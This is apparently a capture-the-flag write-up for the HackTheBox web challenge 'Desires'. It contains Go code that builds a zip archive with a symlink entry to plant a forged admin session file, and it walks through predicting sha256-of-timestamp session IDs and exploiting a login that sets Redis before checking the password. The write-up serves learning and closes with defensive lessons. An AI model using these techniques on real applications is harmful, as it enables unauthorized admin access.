Note
Sessions are JSON files at /tmp/sessions/<user>/<id> loaded by username→id from Redis. A tar/zip symlink entry (sessions -> /tmp/sessions/<user>) turns extraction into write-what-where, planting a role:admin session file. Because login sets the Redis username→sessionID mapping BEFORE checking the password, a deliberately-failed login binds your forged file without overwriting it — then manual cookies hit /admin as admin.
Desires — zip-slip symlink + Redis-before-login race → admin session
Platform: HackTheBox · Category: Web (server-side) · Stack: Go (Fiber) main service + Node SSO, Redis, mholt/archiver
Challenge overview
A Go/Fiber app with an archive-upload feature. Goal: reach /user/admin, which only renders the flag
if your session's role == "admin":
if userStruct.Role == "admin" {
return c.Render("admin", fiber.Map{"FLAG": os.Getenv("FLAG")})
}
Sessions are JSON files on disk, looked up indirectly: Redis maps username → sessionID, and the
session body is read from /tmp/sessions/<username>/<sessionID>:
func GetSession(username string) (*User, error) {
sessionID, _ := utils.RedisClient.Get(username)
sessionJSON, _ := os.ReadFile(filepath.Join("/tmp/sessions", username, sessionID))
json.Unmarshal(sessionJSON, &session) // {"username":..,"id":..,"role":..}
}
If we can write a /tmp/sessions/<user>/<id> file whose JSON says role:admin, and make Redis point at
that <id>, we win.
Step 1 — zip-slip to write-what-where (via symlink)
UploadEnigma extracts the uploaded archive into ./files/<username>/ with archiver.Unarchive. The
extractor blocks .. traversal, but not symlinks. Build an archive containing:
- a symlink entry
sessions→/tmp/sessions/<username>(absolute target), and - a regular file
sessions/<sessionID>with{"username":"<user>","id":2,"role":"admin"}.
// craft_zip.go
symlinkHeader.SetMode(os.ModeSymlink | 0777)
symlinkWriter.Write([]byte("/tmp/sessions/" + username)) // "sessions" -> /tmp/sessions/<user>
fileWriter, _ := zipWriter.Create("sessions/" + sessionID) // writes THROUGH the symlink
fileWriter.Write([]byte(`{"username":"victim","id":2,"role":"admin"}`))
On extraction, sessions becomes a symlink and the second entry is written through it, dropping our
admin JSON straight into /tmp/sessions/<user>/<sessionID>.
Step 2 — predictable session IDs
sessionID = sha256(unix_seconds) — fully predictable:
sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
So we can compute the exact filename the app would use for a login at a chosen second.
Step 3 — the real bug: Redis is set before the password check
The original instinct was a tight race against CreateSession overwriting our file. But LoginHandler
sets the Redis mapping before validating credentials:
err := PrepareSession(sessionID, credentials.Username) // Redis: username -> sessionID (always)
user, err := loginUser(credentials.Username, credentials.Password) // password check AFTER
if err != nil { return ErrorResponse(c, "Invalid username or Password", 400) }
sessId := CreateSession(sessionID, user) // writes the real file (only on success)
So a failed login still binds username → sessionID in Redis but never writes the on-disk
session file — leaving our planted admin file in place. Flow:
1. predict sessionID for a near-future second; craft evil.zip (symlink + sessions/<id> admin JSON)
2. upload evil.zip as the attacker -> file lands at /tmp/sessions/victim/<id>
3. at the chosen second, log in as victim with a WRONG password
-> Redis now maps victim -> <id>, but no real session file was written (login failed)
4. send cookies session=<id>; username=victim and GET /user/admin -> role:admin -> FLAG
(See solve/solve/solve.go — no overwrite race needed once you notice the Redis-set ordering.)
Takeaways (generalized techniques)
- Symlinks defeat naive zip/tar-slip guards. Extractors that block
..but honor symlink entries let you smuggle aname -> /abs/targetlink, then write a following entry through it for arbitrary write-what-where outside the extraction root. - File-backed sessions keyed by a predictable ID = session forgery once you have an arbitrary write
into the session dir.
sha256(unix_seconds)(or any time/counter-derived ID) is attacker-computable. - Order-of-operations auth bugs: when a side effect (Redis mapping, session prep, audit row) is written before the credential check and not rolled back on failure, a deliberately failed request becomes a usable primitive. Always read whether the "bind" happens before or after the "verify".
Sources & references
- Challenge source:
hackthebox/web/desires - Snyk zip-slip writeup: https://security.snyk.io/research/zip-slip-vulnerability